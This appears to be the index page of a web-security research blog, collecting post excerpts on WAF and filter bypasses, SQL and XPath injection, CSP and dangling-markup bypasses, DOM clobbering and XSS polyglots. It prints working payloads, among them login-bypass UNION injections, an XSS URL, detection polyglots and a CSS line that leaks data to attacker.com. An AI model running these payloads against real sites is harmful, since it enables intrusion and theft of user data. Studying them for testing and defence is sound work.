Ruben – Project NZT-48

Universal WAF Bypass for finding and exploiting SQL injections

Nowadays, many vulnerability scanners don't work because WAFs (Web Application Firewalls) block requests probing for vulnerabilities.

Also, if vulnerabilities are found, WAFs will block requests attempting to exploit such vulnerabilities.

I wanted to find bypasses for all the WAFs being sold in the market (and for the free ones too) so that it would be possible to scan applications for SQL injection vulnerabilities. I also wanted to find bypasses to be able to exploit the injections as well.

After I gathered a large list of websites behind WAFs I proceeded to bypass each one of them. Sometimes websites are behind more than 1 WAF and when you manage to bypass the first WAF, another one is triggered. In an attempt to find a bypass that is able to evade multiple layers of WAFs I wanted to see if it would be possible to craft a universal SQL injection that works across all existing firewalls.

This SQL injection bypass works against all of the following WAFs (and probably more brands too):

OWASP ModSecurity Core Rule Set
Amazon Web Services Cloudfront
Akamai (edgesuite)
Oracle
Cloudflare
Broadcom (Symantec)
Imperva
Barracuda
F5
Fortinet
Fortiguard
Wordfence

One shot, twelve kills.

I stumbled upon 2 WAFs that were able to detect the injection. However, by obfuscating the injection a little bit I managed to bypass those WAFs too. I believe this new technique might be able to bypass any WAF as to this day by obfuscating it and tweaking it out a little bit.

(more…)

2025-05-19

Chaining XPath injections into DOM-based XSS

The way most web apps defend themselves against DOM-based Cross-Site Scripting is by validating input that later on is written into the DOM. Sometimes, web apps request data from APIs that is trusted because it didn't come from the user, so it isn't validated. This post will show a trick for tampering with data provided by APIs that didn't come from the user by using XPath injection. Since the data is not validated you can achieve DOM-based XSS.

This attack can be useful because implementations of XPath 1.0 have a very limited attack surface. Only with XPath 2.0 and XPath 3.1 more critical attacks become a possibility. Implementations of XPath 2.0 and 3.1 are not very popular so most web apps out there use version 1.0.

Since a lot of people don't know XPath very well, I'll provide the basics to demonstrate how XPath works in order to know how to exploit it.

The first step to scan a web app against XPath injections is by using boolean based conditions such as the followings:

/vulnerable_page?id=1' and '1'='1
/vulnerable_page?id=1' and '1'='0

/vulnerable_page?id=1" and "1"="1
/vulnerable_page?id=1' and "1"="0

/vulnerable_page?id=1 and 1=1
/vulnerable_page?id=1 and 1=0

(more…)

2025-05-15

Faster blind SQL injection exploitation: exfiltrating data without knowing the column names of the tables

(7 min read)

In the exploitation phase after finding SQL injection vulnerabilities, attackers usually exfiltrate all the information stored in the database. But first, in order to exfiltrate all of the information stored in the tables of the DB, the attacker must previously know the column names that compose those tables.

This post will show a method for extracting all the information contained in a table/view without having to know the name of any of its columns at all.

This method can significantly speed-up the exfiltration process, specially in situations where information must be extracted one character at a time as with blind injections. See the following query done in a fresh install of MySQL:

mysql> select count(*) from information_schema.columns;
+----------+
| count(*) |
+----------+
| 3542 |
+----------+
1 row in set (0.12 sec)

This means that a total of 3,542 column names must be extracted in order to be able to craft the queries that will exfiltrate the tables. Next, see the total of all the characters that must be extracted:

mysql> select sum(length(column_name)) from information_schema.columns;
+--------------------------+
| sum(length(column_name)) |
+--------------------------+
| 47026 |
+--------------------------+
1 row in set (0.02 sec)

There is a total of 47 thousand characters that must be extracted to find all the column names in a fresh MySQL install. sqlmap performs 7 requests to extract a single character with blind SQL injections, this means that it would take a total of 329,182 requests to exfiltrate all of the column names.

A database found in a corporate or industrial environment can be extremely larger.

So now, with the method described in this post, around 188,000 requests are going to be avoided and the tables and views will be exfiltrated right away.

(more…)

2025-04-23

form-action Content-Security-Policy Bypass And Other Tactics For Dealing With The CSP

The Content-Security-Policy is a widely adopted security standard designed to protect applications against content injection vulnerabilities such as XSS and HTML injection. Often, these types of vulnerabilities become worthless due to the Content Security Policy.

Nowadays, there are many write-ups that show how to find a way around poorly configured policies. This presentation differs because it shows how to exploit applications even if the CSP is correctly configured. Some of these bypasses don't rely on any misconfigurations.

This post will begin by showing that very often the Content-Security-Policy is not adequately configured. Due to these super common configuration flaws, applications often remain vulnerable to dangerous attacks.

Later on, a form-action Content-Security-Policy will be exposed. This bypass allows attackers to exfiltrate information from users' accounts by injecting forms that consume the document's content and then submitting the form to an external domain despite of facing a Content-Security-Policy that forbids submitting form data to external domains. This attack doesn't rely on misconfigurations and works in a lot of scenarios.

Browsers' security defenses against dangling markup attacks were bypassed too: Dangling markup attacks were very powerful content injection attacks that came in useful in situations where script execution is not allowed (e.g. blocked by the CSP). Because of this, browsers now have security defenses that block dangling markup attacks. Due to this mitigation, these attacks became dead and useless. The post will show how to bypass these browsers' security defenses, resurrecting dangling markup attacks back from the dead. With one of these bypasses it is possible to exploit content injection vulnerabilities regardless of whatever the configuration might be, it works even when facing the strictest CSP configurations (e.g. everything set to 'none': default-src 'none'; form-action: 'none').

After a sample study of 300 of the most visited websites in the world, statistics have proven that there is a lot of ignorance regarding the correct use of the CSP: 82.6% of the policies have vulnerable configurations and 87.5% of the well-configured policies can be bypassed with one of the attacks exposed in this post; this means that 98% of the policies can be defeated. It is very likely that if you have a web app that uses a Content Security Policy, its configuration is vulnerable.

Other tactics for dealing with the CSP will be shown too.

Possibly this post will help transform those worthless code injection bugs into exploitable vulnerabilities.

(more…)

2025-01-19

Running javascript without using parentheses

(5 minute read)

Restricting the use of parentheses is one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.

Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.

The easiest way to avoid parenthesis is by using grave accents:

alert``

However, these are also blocked very often.

Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:

eval('alert\x280\x29');
setTimeout('alert\x280\x29', 0);
Function('alert\x280\x29')();

However, the invocation of such functions needs parentheses as well.

The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.

window.location = 'javascript: alert(0)';
window.location = 'javascript: alert\x280\x29';

What happens if all possible escapes and encodings are blocked as well?
( \x28 \x29 \u0028 \u0029 \u{28} \u{29} \u{00000028} \u{00000029} \50 \51 )

Place the payload in the location hash and just assign location to itself.

location = 'javascript://' + location;
or
location = 'javascript://' + location.hash;

The payload has to go after a new line (%0A) in the location hash.

https://vulnerable.com/?xss=<img src onerror="location='javascript://' + location;" />#%0Aalert(0);alert(1);

The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.

The idea behind this type of attack vector came from Eduardo Vela's and David Lindsay's Black Hat 2009 presentation.
https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf (slide 18 and 22) Originally the code was meant to be evaluated with eval() or by using sharp variables.

2024-10-31

SQL injection filter evasion cheat sheet

A guide for bypassing WAFs/IDS.

Index

(more…)

2024-10-25

Bypassing Browsers' Defenses Against Dangling Markup Injections

(8 minute read)

Some time ago, whenever script execution was being blocked by the Content-Security-Policy, an easy way to find a way around it was to perform dangling markup injection attacks. Dangling markup injections are scriptless attacks, an alternative to XSS for exfiltrating information from a web page.

Nowadays, some web browsers such as Google Chrome and Microsoft Edge have built-in security defenses that attempt to block these types of attacks. This blog post will expose three bypasses for these security defenses.

Dangling markup injection attacks are very simple. Imagine a web page that has an HTML injection vulnerability like the following example:

An HTML tag with an unclosed attribute is injected into the page. The unclosed attribute consumes the web page's content until it finds a matching closing quote.

When the request is made the URL will leak the document's content.

In this example a <link> tag was used to request a stylesheet from a foreign server which is logging incoming requests and waiting for the leaked data to arrive. But any HTML tag that performs an HTTP request will do, such as <img> or <iframe>. And really HTML is not the only option, CSS code could be used too in a scenario where style injection is feasible. CSS functionality such as background-image: url('http://attacker.com/?log= or @import could be used to force the browser to initiate an HTTP request.

Actually there's a github site named HTTPLeaks that lists all possible ways in which a browser can leak data through HTTP requests.

However things have changed through time and now most browsers implement defenses in an attempt to stop these types of attack; whenever an URL is rendered, the parser looks for certain dangerous patterns such as angle brackets < > and new lines (%0A %0D). If this combination of characters is found, then the request is blocked by the browser because it seems as if the document is being leaked through the URL. It is possible to see the blocked request in the dev-tools network panel:

I tested different dangling injections in different browsers. Chrome, Chromium, Edge and Opera are indeed blocking the exfiltrating request. However for some reason Firefox (v. 124) is not implementing such defense.

Since the dangling injections only work in Firefox, my goal was to find a way to make them work in other browsers too. I found a commit diff in Chromium's source code that illustrates the defense mechanism. Then, after looking some more, I found a security vulnerability report from 2017 that exposes a bypass for the request blocker. I was very lucky because I tested the attack vector in the other browsers and it successfully leaked the data.

I also found 2 more bypasses that work in all major browsers as well:

(more…)

2024-04-02

HTML elements can overwrite javascript variables

For those who don't know, DOM Clobbering is a relatively new vulnerability discovered a while ago, I don't no precisely by whom, but researcher Dr. Mario Heiderich presented it in his talk "In the DOM, no one will here you scream." With this attack it is possible to overwrite variables used by the javascript code of a page by injecting certain HTML elements, as a result the behavior of the script will change.

Michał Bentkowski found a XSS vulnerability in Gmail by using DOM Clobbering:
https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Javascript variables can be overwritten by HTML elements that use the id and name attributes. No need to use event handlers nor javascript, this is HTML only:

The problem here is that some applications accept certain HTML from the user, and while some dangerous attributes as onload/onerror/onclick are always removed, id and name are not always considered dangerous.

I wanted to find out which HTML elements are able to overwrite javascript variables.

The id and name attributes sometimes clobber window object properties, and some others clobber document object properties. I thought it would be useful to know specifically which combination of elements and attributes clobber those objects.

These are the results I got in Chrome, Firefox and Edge:

embed elements:
<embed id="x" name="y" />
window.x
window.y
document.y

form elements:
<form id="x" name="y">
window.x
window.y
document.y

iframe elements:
<iframe id="x" name="y">
window.x
window.y
document.y // Not clobbered in Firefox

image elements:
<image id="x" name="y">
window.x
window.y
document.x
document.y

img elements:
<img id="x" name="y">
window.x
window.y
document.x
document.y

object elements:
<object id="x" name="y">
window.x
window.y
document.x
document.y

The following elements cannot do clobbering:

'body'
'caption'
'col'
'colgroup'
'frame'
'frameset'
'head'
'html'
'tbody'
'td'
'tfoot'
'th'
'thead'
'tr'

All other existing and non-existing elements clobber window properties through the id attribute.

Another good and quick read is a post written by PortSwigger researcher Gareth Heyes in which he used DOM Clobbering to bypass the Content Security Policy (5 to 10 minutes):
https://portswigger.net/research/bypassing-csp-via-dom-clobbering

2024-03-20

Tool for scanning the Import and Export tables in Windows binaries.

(1 minute read)

If you find a vulnerability in a DLL or in any Portable Executable file it would be a good idea to locate all the binaries that use that particular vulnerable function so that you can exploit all those binaries.

I wrote a tool that searches for a specific string in the Import and Export tables of all the Windows binaries located under a given directory. It is a very practical and convenient way to find which binaries make use of a function you know how to exploit.

The script is written in Python and you can find it here:
https://github.com/tr3w/PElookup.py

2024-02-28

Tool for finding RPO vulnerabilities and CSS Exfiltration Techniques

(2 minute read)

Gareth Heyes (@garetheheyes) discovered a new type of vulnerability which is extremely lethal because it is still relatively unknown and many developers don't know how to validate input to protect against this attack.

It makes it possible to inject CSS code anywhere in the page without having to use <style> tags. In fact, there is no need to use angle braces (< >) nor any HTML tag.

I find it very strange that this vulnerability was disclosed some years ago and it still remains very unpopular.

You can see Gareth's amazing post about his new find in:
http://www.thespanner.co.uk/2014/03/21/rpo/

This vulnerability is also documented in PortSwigger:
https://portswigger.net/research/detecting-and-exploiting-path-relative-stylesheet-import-prssi-vulnerabilities

I decided to write a tool to find these vulnerabilities quickly, because most scanners do not detect RPOs. Burp's scanner does detect it but only in the Professional and Enterprise versions; the free version does not.

You can find the tool in:
http://github.com/tr3w/RPOwn

Here are some resources to very clever research about RPO exploitation:

https://www.mbsd.jp/Whitepaper/rpo.pdf

Soroush Dalili discovered a super clever technique to exploit this vulnerability that greatly increases its attack surface.

https://soroush.me/blog/2015/02/non-root-relative-path-overwrite-rpo-in-iis-and-net-applications/

Since RPO exploitation is mainly done with CSS attacks, I decided to post some links to amazing resources describing different methods of performing CSS attacks:

@sirdarckcat's attribute reader:
http://eaea.sirdarckcat.net/cssar/v2/

@kinugawamasato text node reader:
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

@SecurityMB font ligatures:
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

@SecurityMB Data exfiltration in Firefox via single injection point:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing

Pepe Vila recursive imports technique:
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

@d0nutptr recursive import exfiltration tool:
https://github.com/d0nutptr/sic

Mario Heiderich presentation on scriptless attacks:
https://www.slideshare.net/x00mario/stealing-the-pie

2023-08-13

More Methods For Breaking Web Logins

Most of the time, logins are not being properly tested against SQL injection and critical security vulnerabilities could be left undetected. It is not admissible to miss any security vulnerability during a pen-test because somebody else might find the bug and exploit it.

The objective of this post is to illustrate additional methods for finding SQL injection vulnerabilities, because the traditional ways sometimes fail to detect all the vulnerabilities.

So far, I have found 3 web applications vulnerable to the attack explained in this post.

When probing the security of web logins, the following injections are always used:

' or '1'='1
" or "1"="1

Very often, only these injections are tested and if they fail it is assumed that the login is not vulnerable. However, there is a vast amount of other types of injections that should also be tried to correctly determine if the login is vulnerable or not.

Imagine that the login code resembles to the following:

Query:
$result = "SELECT password FROM users WHERE login='$login'";

Then on the server-side:
if ($result['password'] == $_POST['password']) Access_Granted();

Even if the login is vulnerable, traditional ' or 1='1 injections will fail to bypass it: even though the injection works and user data is being returned, the attacker still needs to know the correct password to log-in.

The injection for testing the login should now be:
' AND 0 UNION SELECT 'letmein' as password where '1

Thus the attacker can login with whatever password he chooses.

The process of exploiting these types of login requires a big amount of work and can be time consuming, consider the following vulnerable query:

SELECT * FROM users WHERE username='$_POST["username"]';

The asterisk might return dozens of columns and since the number of columns in the UNION query should match, first the number of columns queried should be found:

Brute-force injection:
admin' AND 0 UNION SELECT 1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1 AND 'TRUE
admin' AND 0 UNION SELECT 1,1,1,1,1 AND 'TRUE
...
admin' AND 0 UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 AND 'TRUE
....

This can be tedious to brute-force manually specially if the query is trying to retrieve a huge number of columns.

Also, very frequently the password is going to be stored as a cryptographic hash in the database, which means that the password provided in the login form must be hashed too in order to be compared with the original; injections like this should be tried as well:

Hashed password injection:
# MD5 hash
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99' AND 'TRUE
admin' AND 0 UNION SELECT '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99', '5f4dcc3b5aa765d61d8327deb882cf99'... AND 'TRUE
...
# SHA1 hash
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AND 'TRUE
admin' AND 0 UNION SELECT '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'... AND 'TRUE
....
# SHA-224
admin' AND 0 UNION SELECT 'd63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01','d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01',... AND 'TRUE
# SHA-256
admin' AND 0 UNION SELECT '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8',... AND 'TRUE
# SHA-384
admin' AND 0 UNION SELECT 'a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7',... AND 'TRUE
# SHA-512
admin' AND 0 UNION SELECT 'b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86',... AND 'TRUE
# Base 64
admin' AND 0 UNION SELECT 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ=', 'cGFzc3dvcmQ='... AND 'TRUE

And then all of these injections must be tried with double quotes instead of simple quotes too determine if the login is in fact vulnerable. As far as I know, there are no tools that exploit these type of login logic so I decided to write my own. So far I have found 3 applications that had this security bug and I don't want to miss it in any future security evaluation.

The tool was written in python and it uses Selenium with the Chrome web driver; make sure to install those to get it running.

$ pip install selenium

In the header of the script there is an array containing all the hashing functions tested against the login. You can add more functions such as nested hashes or other cryptographic functions to extend the scope of the security testing.

You can find logincrack.py HERE.

2023-08-09

High Speed Methods For Blind SQL Injections

I came to the conclusion that the blind SQL injection techniques we use for data exfiltration are slow, and there is huge room for improvement to make them much faster and efficient.

I spent some time designing new high-speed optimized blind SQL injections and I wrote a paper where I documented all of these techniques. The research got accepted to be presented at various security conferences such as Hackfest Quebec, B-Sides Philly, BugCON Mexico, DragonJAR Colombia and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

duality.py, one of these optimized attacks, uses inferential algorithms that request only certain fragments of the information and deduce the missing data through the use of decision-making trees. This method takes an average of 30% less requests than the famous tool sqlmap to exfiltrate information from a database. This and more blind SQL injection techniques are explained in this paper.

You can find the paper in .txt format here:
https://nzt-48.org/Papers/high-speed-methods-for-blind-sql-injections.txt

For a self-explanatory and condensed version of the paper, you can find the slides of the talk here (the slides are numerous but most of them are just the same slide with different highlighted values):
https://nzt-48.org/slides/high-speed-methods-for-blind-sql-injections.pdf

These are some screenshots of the slides to make the post look cool:

2023-08-04

Bypasses for the some of the most popular WAFs

EDIT: Most of these bypasses have already been patched. Whereas some of the tricks shown in this post can be used to find new bypasses, this will only work on very few WAFs and it will other types of techniques should be use to bypass most of them.

In Black Hat 2009 I had the honor of personally meeting @sirdarckcat (Eduardo Vela, leader of Google Project Zero) who gave a presentation titled "Our favorite XSS filters and how to attack them". In his presentation he managed to bypass every single popular Web Application Firewall that was in the market at that time and he said it had been a piece of cake.

The conclusion of his talk was that all Web Application Firewalls (WAFs) were practically useless at that time due to the tremendous ease in which they could be bypassed.

Now, more than ten years later, I decided to evaluate the security of many popular WAFs to see their evolution and how robust they've become over time. The conclusion is that most of them are still extremely vulnerable. They are very easy to bypass so the degree of protection they offer is very low; I broke each WAF in around 5 minutes.

I decided to publish the bypasses because it is actually funny how bad these filters are.

The WAFs that I tested are:

Amazon Web Services WAF
Cisco Secure WAF
Cloudflare Web Application Firewall
F5 BIG-IP Advanced WAF
Fortinet's Fortiweb WAF
Akamai Web Application Firewall
Sophos Firewall
Incapsula Imperva
Broadcom

Click on more to see the bypasses:

(more…)

2023-08-03

XSS filter/WAF evasion through invalid escapes

(2 minute read)

Most of the time, WAFs and XSS filters look for specific keywords to detect invocation of dangerous functions or variables.

/page?parameter=alert()
403 FORBIDDEN

A very common bypass technique is to break these specific character sequences like this:

window.alert() can also be written using square-bracket notation: window['alert']()

This is very useful because now the alert method is a string, this means that it can be obfuscated using all kinds of string functions:

window['ale' + 'rt'](1)
window['alexrt'.replace(/x/,'')](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick and shorter way. This is done by escaping characters that do not have an escape sequence assigned. For instance, these are valid escapes in javascript:

\' Simple quote
\" Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window['\a\l\ert'](1)
window['\pr\o\m\pt'](1)

Hopefully this will help to speed-up the process of evading WAFs.

2023-07-28

Modern XPath Exploitation

In addition to XXE vulnerabilities, XPath injections are another type of attack used to exploit XML technologies.

Following the release of XPath 2.0 and XPath 3.1 I read the specifications to see if the new features could be used to deploy new types of attacks. Turns out that these new XPath implementation did introduce new threats and new risks that expand the attack surface of XPath vulnerabilities.

Some of these new risks are:
- Arbitrary file disclosure
- Turn blind injections into visible injections
- Server Side Request Forgery
- Out of bands attacks
- Turn XPath injections into XSS

I wrote a .txt for your convenience and you can find it here:
https://nzt-48.org/Papers/modern-xpath-exploitation.txt

The paper also explains highly optimized algorithms for exfiltrating server files through XPath injections.

If you prefer to read the paper in this blog post, click on "more"

A tool was released as a proof of concept and you can find it here:
https://github.com/tr3w/injectX

(more…)

2023-07-21

Detection of Blind XSS Vulnerabilities

( < 5 minute read)

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes).

This vector is particularly useful for detecting blind XSS vulnerabilities.

I thought it would be fun to see if I could make it shorter and more effective.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style --></xmp></script><svg/onload='//"/**/%0a
onmouseover=alert()//'>

It is 103 bytes long and it works in one more context than Gareth's (his doesn't work in single line comment contexts (//), although I find his vector to be more elegant).

I decided to improve it so that it works in every possible context:

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

You can also add a ${{7*7}} at the very end to test against template injections as well.

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through X (@ruben_v_pina)

2023-07-12

SQL Injection Detection Optimization

(3 minute read)

For Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase of SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, the following requests must be performed to find out the context of the injection. It might be between single quotes ('), double quotes (") or with no delimiters at all:

TRUE RESPONSES
-1' or '1'='1
-1" or "1"="1
-1 or 1=0

FALSE RESPONSES
-1' or '1'='0
-1" or "1"="0
-1 or 1=0

LightOS came up with the idea of fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#"or"'OR''='"="'OR''='

Numeric context:
-1 OR 1#"or"'OR''='"="'OR''='

Double quotation:
-1 OR 1#"or"'OR''='"="'OR''='

Single quotation:
-1 OR 1#"or"'OR''='"="'OR''='

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/archive/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

My version of the vector is 7 characters shorter:

-1 or 1#'or"or'"!='!="

Numeric context:
-1 or 1#'or"or'"!='!="

Single quotation:
-1 or 1#'or"or'"!='!="

Double quotation:
-1 or 1#'or"or'"!='!="

I find LightOS's solution to be much more elegant because he used an equality. Can make it even shorter?

Hello world!

The intention of this blog is to contribute with new research.

If you want to share something as well, send an abstract to ruben@nzt-48.org and I'll give you a guest account so you can post your own work as well.

Enjoy your 0xc0ffee.

2023-07-11